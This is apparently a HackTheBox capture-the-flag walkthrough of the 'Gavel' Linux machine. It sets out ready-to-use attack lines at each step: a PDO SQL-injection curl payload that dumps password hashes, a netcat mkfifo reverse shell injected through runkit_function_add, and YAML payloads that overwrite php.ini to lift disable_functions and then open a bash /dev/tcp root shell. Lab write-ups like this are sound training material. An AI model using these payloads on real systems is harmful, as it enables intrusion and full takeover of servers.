< BACK TO HUB
MEDIUM DIFFICULTY

GAVEL

TARGET OS: LINUX | AUTHOR: LEANDROS

Gavel is a Medium-rated Linux machine on HackTheBox that heavily emphasizes the importance of source code review and understanding how backend functions process input. My exploitation path started with finding an exposed Git repository, downloading the source code, and identifying a manual SQL Injection. From there, I analyzed how the application handled auction rules, leading to an RCE via a dangerous PHP extension. Finally, I escalated to root by bypassing a PHP sandbox restriction using a custom YAML configuration. Here is my complete mission log.

PHASE 1: RECONNAISSANCE & ENUMERATION

I began with my standard Nmap TCP port scan to identify the attack surface.

TERMINAL - NMAP TCP SCAN
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p22,80 <IP>
OUTPUT
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://gavel.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)

Port 80 is hosting a web server that redirects to gavel.htb. I added this to my /etc/hosts file and visited the page. It presented an auction site where users can register and log in. After registering a test account, I explored the authenticated portal and ran a Nuclei scan in the background to catch any low-hanging fruit.

TERMINAL - NUCLEI SCAN
nuclei -u http://gavel.htb -t http/
OUTPUT EXCERPT
[git-config] [http] [medium] http://gavel.htb/.git/config

Nuclei flagged an exposed .git/config directory. This is a massive finding because it means the entire source code history of the website is accessible. I used git-dumper to clone the repository to my local machine for offline code review.

TERMINAL - GIT-DUMPER
python3 git_dumper.py http://gavel.htb/.git/ gavel_repo

PHASE 2: SOURCE CODE REVIEW & SQL INJECTION

While reviewing the dumped source code, I noticed an interesting implementation in inventory.php. It featured a sorting form that passed a user_id and a sort parameter.

[!] VULNERABILITY DETECTED: SQL INJECTION

Capturing the request in BurpSuite, I noticed that changing the user_id value to `1` loaded the inventory for the admin user. However, by manipulating the user_id parameter using backticks, I realized the application was vulnerable to SQL Injection within a prepared statement context.

After doing some research on SQLi in PDO prepared statements, I crafted a payload to extract the username and password columns from the users table, separating them with a pipe character (0x7c).

PAYLOAD - SQLi DB DUMP
curl -s -H 'Cookie: gavel_session=<COOKIE>' 'http://gavel.htb/inventory.php?user_id=x`+FROM+(SELECT+GROUP_CONCAT(username,0x7c,password)+AS+`%27x`+from+users)y;%23&sort=\?%23%00--' | grep -oP "card-title.*?strong>\K.*?<" | tr -d "<" | tr "," "\n"
OUTPUT
auctioneer|$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS
hackerhacker|$2y$10$drCiXGmo7vA0dI2x7ewcy.d9hxgR65wwmNP1z45VRoplfKUwEez8W
...

The database dumped successfully. The user auctioneer looked like the prime target. I passed the bcrypt hash into John the Ripper using the rockyou wordlist.

TERMINAL - JOHN THE RIPPER
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

John quickly cracked the hash, revealing the password: midnight1. I logged into the web portal using these credentials, gaining access to an admin section where I could edit auction rules.

PHASE 3: REMOTE CODE EXECUTION (RCE)

In the admin panel, there is a field to update the "Rule" of an auction. To understand what this rule field actually does, I went back to my cloned git repository and grepped for "rule". I discovered a critical vulnerability in includes/bid_handler.php.

SOURCE CODE - BID_HANDLER.PHP
$rule = $auction['rule'];
// ...
if (function_exists('ruleCheck')) {
    runkit_function_remove('ruleCheck');
}
runkit_function_add('ruleCheck', '$current_bid, $previous_bid, $bidder', $rule);
// ...
$allowed = ruleCheck($current_bid, $previous_bid, $bidder);

[!] VULNERABILITY DETECTED: ARBITRARY CODE EVALUATION

The runkit_function_add() function dynamically creates a new PHP function at runtime. Because the content of the function body is pulled directly from the user-controlled $rule variable, we can inject raw PHP code that will be executed the moment someone places a bid and triggers the ruleCheck.

I edited the rule of an auction via the web interface and injected a payload to generate a reverse shell.

PAYLOAD - RUNKIT REVERSE SHELL
system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <IP> 7777 >/tmp/f'); return false;

With a Netcat listener ready on port 7777, I switched to the user view and placed a bid on that specific auction to trigger the rule evaluation. The server executed the PHP, and I caught a reverse shell as www-data! Because I already had the cracked password for the auctioneer account, I simply ran su auctioneer in the terminal and grabbed the user.txt flag.

PHASE 4: PRIVILEGE ESCALATION (SANDBOX BYPASS)

Running the id command revealed that the auctioneer user belongs to a custom group called gavel-seller. I searched the filesystem for binaries associated with this group.

TERMINAL - ENUMERATION
find / -group gavel-seller -type f 2>/dev/null

This led me to /usr/local/bin/gavel-util. Executing it showed that it accepts YAML configuration files to submit new items to the auction, and more importantly, it processes these files with root privileges.

However, when I tried to use a YAML payload containing a system() call to spawn a shell, the execution failed. The server had a PHP sandbox configured in /opt/gavel/.config/php/php.ini using the disable_functions directive to block dangerous commands like system and exec.

[!] EXPLOIT STRATEGY: CONFIGURATION OVERWRITE

While system() was blocked, the file_put_contents() function was NOT blocked. Because the binary executes our YAML instructions as root, I could use file_put_contents() to completely overwrite the sandbox's php.ini file and clear out the disable_functions list.

I created a preliminary YAML payload to overwrite the configuration file and submitted it using the utility binary.

PAYLOAD - SANDBOX BYPASS (YAML)
cat > /tmp/simple_modify.yaml << 'EOF'
name: simplemod
description: test
image: test.jpg
price: 1
rule_msg: test
rule: file_put_contents('/opt/gavel/.config/php/php.ini', 'disable_functions = \nopen_basedir = '); return false;
EOF

/usr/local/bin/gavel-util submit /tmp/simple_modify.yaml

The terminal printed "Item submitted for review", confirming the file write was successful. The sandbox was now disabled. I immediately crafted a second YAML file, this time using the now-unrestricted system() function to send a reverse shell to my attacking machine.

PAYLOAD - ROOT REVERSE SHELL (YAML)
cat > /tmp/root_shell.yaml << 'EOF'
name: rootshell
description: test
image: test.jpg
price: 1
rule_msg: test
rule: system('bash -c "bash -i >& /dev/tcp/<IP>/7755 0>&1"'); return false;
EOF

/usr/local/bin/gavel-util submit /tmp/root_shell.yaml

I submitted the final YAML file, checked my Netcat listener, and was greeted with a root prompt. The machine was successfully rooted, and I retrieved the final flag.